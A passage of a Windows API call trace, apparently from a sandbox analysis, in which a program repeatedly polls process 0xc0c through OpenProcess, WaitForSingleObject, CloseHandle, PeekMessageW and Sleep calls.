lpMsg=0x354f90c) returned 0 [0276.591] Sleep (dwMilliseconds=0x1) [0276.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18c4 [0276.608] WaitForSingleObject (hHandle=0x18c4, dwMilliseconds=0xa) returned 0x102 [0276.622] CloseHandle (hObject=0x18c4) returned 1 [0276.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.622] Sleep (dwMilliseconds=0x1) [0276.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18c4 [0276.638] WaitForSingleObject (hHandle=0x18c4, dwMilliseconds=0xa) returned 0x102 [0276.654] CloseHandle (hObject=0x18c4) returned 1 [0276.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.654] Sleep (dwMilliseconds=0x1) [0276.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18c4 [0276.669] WaitForSingleObject (hHandle=0x18c4, dwMilliseconds=0xa) returned 0x102 [0276.686] CloseHandle (hObject=0x18c4) returned 1 [0276.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.686] Sleep (dwMilliseconds=0x1) [0276.702] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18ec [0276.702] WaitForSingleObject (hHandle=0x18ec, dwMilliseconds=0xa) returned 0x102 [0276.716] CloseHandle (hObject=0x18ec) returned 1 [0276.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.716] Sleep (dwMilliseconds=0x1) [0276.736] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18fc [0276.736] WaitForSingleObject (hHandle=0x18fc, dwMilliseconds=0xa) returned 0x102 [0276.747] CloseHandle (hObject=0x18fc) returned 1 [0276.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.747] Sleep (dwMilliseconds=0x1) [0276.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1908 [0276.778] WaitForSingleObject (hHandle=0x1908, dwMilliseconds=0xa) returned 0x102 [0276.794] CloseHandle (hObject=0x1908) returned 1 [0276.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.794] Sleep (dwMilliseconds=0x1) [0276.809] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1908 [0276.809] WaitForSingleObject (hHandle=0x1908, dwMilliseconds=0xa) returned 0x102 [0276.827] CloseHandle (hObject=0x1908) returned 1 [0276.827] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.827] Sleep (dwMilliseconds=0x1) [0276.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1924 [0276.841] WaitForSingleObject (hHandle=0x1924, dwMilliseconds=0xa) returned 0x102 [0276.857] CloseHandle (hObject=0x1924) returned 1 [0276.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.857] Sleep (dwMilliseconds=0x1) [0276.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x192c [0276.872] WaitForSingleObject (hHandle=0x192c, dwMilliseconds=0xa) returned 0x102 [0276.895] CloseHandle (hObject=0x192c) returned 1 [0276.895] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.895] Sleep (dwMilliseconds=0x1) [0276.908] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x195c [0276.908] WaitForSingleObject (hHandle=0x195c, dwMilliseconds=0xa) returned 0x102 [0276.920] CloseHandle (hObject=0x195c) returned 1 [0276.920] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.920] Sleep (dwMilliseconds=0x1) [0276.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1984 [0276.935] WaitForSingleObject (hHandle=0x1984, dwMilliseconds=0xa) returned 0x102 [0276.956] CloseHandle (hObject=0x1984) returned 1 [0276.957] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.957] Sleep (dwMilliseconds=0x1) [0276.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0276.978] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0276.981] CloseHandle (hObject=0x1990) returned 1 [0276.981] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.981] Sleep (dwMilliseconds=0x1) [0276.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0276.997] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.013] CloseHandle (hObject=0x1990) returned 1 [0277.013] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.013] Sleep (dwMilliseconds=0x1) [0277.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.028] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.044] CloseHandle (hObject=0x1990) returned 1 [0277.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.044] Sleep (dwMilliseconds=0x1) [0277.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.059] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.075] CloseHandle (hObject=0x1990) returned 1 [0277.075] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.075] Sleep (dwMilliseconds=0x1) [0277.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.091] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.106] CloseHandle (hObject=0x1990) returned 1 [0277.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.106] Sleep (dwMilliseconds=0x1) [0277.122] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.122] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.138] CloseHandle (hObject=0x1990) returned 1 [0277.138] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.138] Sleep (dwMilliseconds=0x1) [0277.154] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.154] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.169] CloseHandle (hObject=0x1990) returned 1 [0277.169] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.169] Sleep (dwMilliseconds=0x1) [0277.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.184] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.200] CloseHandle (hObject=0x1990) returned 1 [0277.200] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.200] Sleep (dwMilliseconds=0x1) [0277.216] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.216] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.231] CloseHandle (hObject=0x1990) returned 1 [0277.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.250] Sleep (dwMilliseconds=0x1) [0277.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.262] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.278] CloseHandle (hObject=0x1990) returned 1 [0277.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.278] Sleep (dwMilliseconds=0x1) [0277.296] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.296] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.309] CloseHandle (hObject=0x1990) returned 1 [0277.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.310] Sleep (dwMilliseconds=0x1) [0277.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.325] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.341] CloseHandle (hObject=0x1990) returned 1 [0277.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.341] Sleep (dwMilliseconds=0x1) [0277.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.356] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.372] CloseHandle (hObject=0x1990) returned 1 [0277.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.372] Sleep (dwMilliseconds=0x1) [0277.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.388] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.403] CloseHandle (hObject=0x1990) returned 1 [0277.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.403] Sleep (dwMilliseconds=0x1) [0277.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.419] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.434] CloseHandle (hObject=0x1990) returned 1 [0277.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.434] Sleep (dwMilliseconds=0x1) [0277.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.450] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.466] CloseHandle (hObject=0x1990) returned 1 [0277.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.466] Sleep (dwMilliseconds=0x1) [0277.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.481] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.497] CloseHandle (hObject=0x1990) returned 1 [0277.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.497] Sleep (dwMilliseconds=0x1) [0277.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.513] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.528] CloseHandle (hObject=0x1990) returned 1 [0277.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.528] Sleep (dwMilliseconds=0x1) [0277.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.544] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.559] CloseHandle (hObject=0x1990) returned 1 [0277.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.559] Sleep (dwMilliseconds=0x1) [0277.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.575] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.591] CloseHandle (hObject=0x1990) returned 1 [0277.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.591] Sleep (dwMilliseconds=0x1) [0277.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.607] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.622] CloseHandle (hObject=0x1990) returned 1 [0277.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.622] Sleep (dwMilliseconds=0x1) [0277.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.638] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.654] CloseHandle (hObject=0x1990) returned 1 [0277.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.654] Sleep (dwMilliseconds=0x1) [0277.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.669] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.684] CloseHandle (hObject=0x1990) returned 1 [0277.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.684] Sleep (dwMilliseconds=0x1) [0277.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.700] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.716] CloseHandle (hObject=0x1990) returned 1 [0277.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.716] Sleep (dwMilliseconds=0x1) [0277.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.731] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.747] CloseHandle (hObject=0x1990) returned 1 [0277.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.747] Sleep (dwMilliseconds=0x1) [0277.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.773] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.778] CloseHandle (hObject=0x1990) returned 1 [0277.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.778] Sleep (dwMilliseconds=0x1) [0277.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.794] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.809] CloseHandle (hObject=0x1990) returned 1 [0277.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.809] Sleep (dwMilliseconds=0x1) [0277.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.825] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.841] CloseHandle (hObject=0x1990) returned 1 [0277.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.841] Sleep (dwMilliseconds=0x1) [0277.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.856] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.872] CloseHandle (hObject=0x1990) returned 1 [0277.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.872] Sleep (dwMilliseconds=0x1) [0277.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.888] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.903] CloseHandle (hObject=0x1990) returned 1 [0277.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.903] Sleep (dwMilliseconds=0x1) [0277.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.919] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.935] CloseHandle (hObject=0x1990) returned 1 [0277.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.935] Sleep (dwMilliseconds=0x1) [0277.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.950] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.966] CloseHandle (hObject=0x1990) returned 1 [0277.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.966] Sleep (dwMilliseconds=0x1) [0277.987] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0277.987] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0277.997] CloseHandle (hObject=0x1990) returned 1 [0277.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0277.997] Sleep (dwMilliseconds=0x1) [0278.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.013] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.028] CloseHandle (hObject=0x1990) returned 1 [0278.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.028] Sleep (dwMilliseconds=0x1) [0278.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.044] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.059] CloseHandle (hObject=0x1990) returned 1 [0278.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.059] Sleep (dwMilliseconds=0x1) [0278.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.075] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.091] CloseHandle (hObject=0x1990) returned 1 [0278.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.091] Sleep (dwMilliseconds=0x1) [0278.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.106] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.122] CloseHandle (hObject=0x1990) returned 1 [0278.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.122] Sleep (dwMilliseconds=0x1) [0278.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.138] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.154] CloseHandle (hObject=0x1990) returned 1 [0278.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.154] Sleep (dwMilliseconds=0x1) [0278.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.169] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.184] CloseHandle (hObject=0x1990) returned 1 [0278.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.184] Sleep (dwMilliseconds=0x1) [0278.202] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.203] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.216] CloseHandle (hObject=0x1990) returned 1 [0278.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.216] Sleep (dwMilliseconds=0x1) [0278.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.232] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.247] CloseHandle (hObject=0x1990) returned 1 [0278.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.247] Sleep (dwMilliseconds=0x1) [0278.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.262] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.278] CloseHandle (hObject=0x1990) returned 1 [0278.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.278] Sleep (dwMilliseconds=0x1) [0278.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.294] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.309] CloseHandle (hObject=0x1990) returned 1 [0278.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.309] Sleep (dwMilliseconds=0x1) [0278.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.325] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.341] CloseHandle (hObject=0x1990) returned 1 [0278.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.341] Sleep (dwMilliseconds=0x1) [0278.362] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.362] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.372] CloseHandle (hObject=0x1990) returned 1 [0278.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.372] Sleep (dwMilliseconds=0x1) [0278.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.387] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.403] CloseHandle (hObject=0x1990) returned 1 [0278.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.403] Sleep (dwMilliseconds=0x1) [0278.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.419] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.434] CloseHandle (hObject=0x1990) returned 1 [0278.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.434] Sleep (dwMilliseconds=0x1) [0278.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.450] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) 